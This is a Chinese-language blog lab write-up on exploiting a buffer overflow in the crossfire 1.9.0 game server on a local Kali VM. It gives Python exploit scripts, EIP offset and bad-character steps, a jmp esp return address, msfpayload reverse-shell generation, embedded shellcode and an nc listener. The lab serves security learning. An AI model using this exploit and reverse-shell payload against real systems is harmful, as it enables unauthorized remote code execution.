• Linux系统缓冲区溢出


    Linux系统下穿越火线-缓冲区溢出

    原理:crossfire 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞。

    工具:

    调试工具:edb;

    ###python在漏洞溢出方面的渗透测试和漏洞攻击中,具有很大的优势

    实验对象:crossfire【多人在线RPG游戏】

    运行平台:Kali i686 虚拟机【32位,计算机CPU位数是指地址总线位数,64位系统的寻址空间为2^64,寻址过大,难以处理,为了简化本章操作,所以选用32位】

    搭建实验环境

    #linux中,游戏需安装带其game文件夹

    服务器端程序

    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. root@kali:~# cd Desktop  
    2. root@kali:~/Desktop# ls  
    3. crossfire.tar.gz  
    4. root@kali:~/Desktop# mv crossfire.tar.gz /usr/games  
    5. root@kali:~/Desktop# cd /usr/games/  
    6. root@kali:/usr/games# ls  
    7. crossfire.tar.gz  
    8. root@kali:/usr/games# tar zxpf crossfire.tar.gz  
    9. root@kali:/usr/games# ls -lh  
    10. total 4.8M  
    11. drwxr-xr-x 8 root root 4.0K Feb 10  2010 crossfire  
    12. -rwxrwx--- 1 root root 4.8M Aug 30 05:16 crossfire.tar.gz  
    13. root@kali:/usr/games# cd crossfire/  
    14. root@kali:/usr/games/crossfire# cd bin/  
    15. root@kali:/usr/games/crossfire/bin# ls  
    16. crossedit  crossfire-config  crossloop.pl   player_dl.pl  
    17. crossfire  crossloop         crossloop.web  
    18. root@kali:/usr/games/crossfire/bin#   
    #若出现缺少什么组件,可以相应去安装一下,只要看到出现waiting for connect,则基本没问题
    查看端口开放情况【13327】
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. root@kali:~# netstat -pantu  
    2. Active Internet connections (servers and established)  
    3. Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name      
    4. tcp        0      0 0.0.0.0:13327           0.0.0.0:*               LISTEN      4147/./crossfire      
    5. udp        0      0 0.0.0.0:68              0.0.0.0:*                           629/dhclient          
    调试工具


    ###也可用命令行来打开

    新版本Linux内核支持内存保护机制

    DEP、ASLR、堆栈cookies、堆栈粉碎

    本机调试【防止在渗透测试过程中的非法网络访问,以防被黑客入侵电脑】

    iptables -A INPUT -p tcp --destination-port 13327 ! -d 127.0.0.1 -j DROP #只有通过本机访问本地网卡的13327

    iptables -A INPUT -p tcp --destination-port 4444 ! -d 127.0.0.1 -j DROP   #只有通过本机访问本地网卡4444

    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. root@kali:~# iptables -A INPUT -p tcp --destination-port 13327 ! -d 127.0.0.1 -j DROP  
    2. root@kali:~# iptables -A INPUT -p tcp --destination-port 4444 ! -d 127.0.0.1 -j DROP  
    3. root@kali:~# iptables -L  
    4. Chain INPUT (policy ACCEPT)  
    5. target     prot opt source               destination           
    6. DROP       tcp  --  anywhere            !localhost            tcp dpt:13327  
    7. DROP       tcp  --  anywhere            !localhost            tcp dpt:4444  
    8.   
    9. Chain FORWARD (policy ACCEPT)  
    10. target     prot opt source               destination           
    11.   
    12. Chain OUTPUT (policy ACCEPT)  
    13. target     prot opt source               destination           
    14. root@kali:~#   

    调试工具

    使用edb调试工具启动服务进行调试

    edb --run /usr/games/crossfire/bin/crossfire


    #需要重复点击两个Debug->run


    查看EIP等寄存器地址,需要双击


     

    01.py

    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. #!/usr/bin/python  
    2.   
    3. import socket  
    4.   
    5. host = "127.0.0.1"  
    6. crash = "x41" * 4379           ###crossfire必须在发送数值大小在一个固定数值的时候才能发生缓冲区溢出,只有当发送4379字符时,才能精确到溢出位置###  
    7. buffer = "x11(setup sound " +crash+ "x90x90#)"  
    8. s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    9. print "[*]Sending evil buffer..."  
    10. s.connect((host,1327))  
    11. data = s.recv(1024)  
    12. print data  
    13. s.send(buffer)  
    14. s.close()  
    15. print "[*]Payload Sent!"  
    edb中一旦缓冲区溢出发生,无法进行下一条指令,会有告警弹窗


    可确认存在缓冲区溢出漏洞


    #通过修改发送“A”的数值,可验证只有当字符数量为4379才能精确修改EIP寄存器

     

    唯一字符串精确定位EIP位置

    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. /usr/share/metasploit-‐framework/tools/exploit/pattern_create.rb 4379  
    将唯一字符串添加到02.py

    双击EIP


    使用./pattren_offset.rb计算偏移量


    则4368后四个字符为EIP地址

    验证位置03.py



    查看ESP数据部分Fellow in Dump


    ###因为ESP只能添7个字符才能精确修改EIP,所以shellcode不能放在ESP寄存器中。因此在剩下的寄存器中寻找

    逐个查找,发现EAX可用


    【因为setup sound为服务器指令,所以前十二个字符须先发送setup sound】

    存在一个理论,直接在EAX的地址上加上12,可实现跳转,但是很大可能换一台机器后可能无法实现溢出,因为不同系统的EAX地址可能不一样

    思路:【需考虑普适性】

    第一阶段shellcode:从ESP【7个字节】 跳转到 EAX,在ESP中实现偏移12位字符

    ###一个5个字节,足够插进ESP中,实现跳转到EAX

    x83xc0x0cxffxe0x90x90      #x90:跳转字符,防止被过滤【计算机读入数据顺序与人类阅读顺序相反】

    04.py

    查看ESP

    #因为ESP的内存地址也不是固定的,所以需在系统中寻找固定跳转模块

    寻址

    利用edb中的插件Opcode search

    使用第一个进程08048000,只要程序在运行,这个进程将一直存在,可以用于寻找jmp esp

    ###EIP->jmp ESP->ESP->EAX

    查找坏字符

    ###x00x0ax0dx20

    将256个编码放进脚本中逐一查找

    设置断点(0x08134597)

    EIP——08134597

    则EIP跳转地址为

    crash = "x41" * 4368 + "x97x45x13x08"【EIP】 + "x83xc0x0cxffxe0x90x90"【EAX】

    04+.py


    设置断点


    ->运行[F9]

    按F8执行下一步

    再按F8就跳入ESP寄存器

    将4368个字符中,替换成shellcode,剩余位继续填充”A“【需计算shellcode字符数量】

    生成shellcode姿势

    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. root@kali:/usr/share/framework2# ./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "x00x0ax0dx20"  

    注:在生成shellcode时,如果生成的shellcode不正确,可通过重启,解决
    [plain] view plain copy
     
     在CODE上查看代码片派生到我的代码片
    1. #!/usr/bin/python  
    2.   
    3. import socket  
    4.   
    5. host = "127.0.0.1"  
    6.   
    7. shellcode = (  
    8. "xbbx6dx65x9bxcdxdbxddxd9x74x24xf4x5fx2bxc9"+  
    9. "xb1x14x83xc7x04x31x5fx10x03x5fx10x8fx90xaa"+  
    10. "x16xb8xb8x9exebx15x55x23x65x78x19x45xb8xfa"+  
    11. "x01xd4x10x92xb7xe8x85x3exd2xf8xf4xeexabx18"+  
    12. "x9cx68xf4x17xe1xfdx45xacx51xf9xf5xcax58x81"+  
    13. "xb5xa2x05x4cxb9x50x90x24x85x0exeex38xb0xd7"+  
    14. "x08x50x6cx07x9axc8x1ax78x3ex61xb5x0fx5dx21"+  
    15. "x1ax99x43x71x97x54x03")  
    16.   
    17. crash = shellcode + "A"*(4368-105) + "x97x45x13x08" + "x83xc0x0cxffxe0x90x90"  
    18. buffer = "x11(setup sound " +crash+ "x90x90#)"  
    19. s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
    20. print "[*]Sending evil buffer..."  
    21. s.connect((host,13327))  
    22. data = s.recv(1024)  
    23. print data  
    24. s.send(buffer)  
    25. s.close()  
    26. print "[*]Payload Sent!"  

    #打开侦听4444端口【当有人连接4444的时候,则getshell】

    nc  127.0.0.1 4444 ###获得shell

    小白日记,未完待续……

  • 相关阅读:
    图解MBR分区无损转换GPT分区+UEFI引导安装WIN8.1 分类: Windows-嵌入式 生活百科 2015-06-26 11:57 475人阅读 评论(2) 收藏
    使用EFI引导从硬盘(U盘)安装Win7的图文教程 分类: Windows-嵌入式 生活百科 2015-06-25 16:40 320人阅读 评论(0) 收藏
    嵌入式Linux基于framebuffer的jpeg格式本地LCD屏显示 分类: TI-AM335X arm-linux-Ubuntu 2015-06-24 10:41 338人阅读 评论(0) 收藏
    Linux开机启动图片修改 分类: arm-linux-Ubuntu TI-AM335X 2015-06-19 16:12 390人阅读 评论(0) 收藏
    Linux下LCD 10分钟自动关屏的问题总结 分类: TI-AM335X arm-linux-Ubuntu 2015-06-19 15:43 369人阅读 评论(1) 收藏
    am335x在ubuntu下使用StarterWare编写裸机程序并在CCS中用Jlink调试 分类: TI-AM335X 2015-06-18 11:27 276人阅读 评论(0) 收藏
    IE 首页锁定
    LevelDb 资料整理
    c++ windows error C2662 C2663
    2018 ACM 网络选拔赛 青岛赛区
  • 原文地址:https://www.cnblogs.com/zylq-blog/p/6674691.html
Copyright © 2020-2023  润新知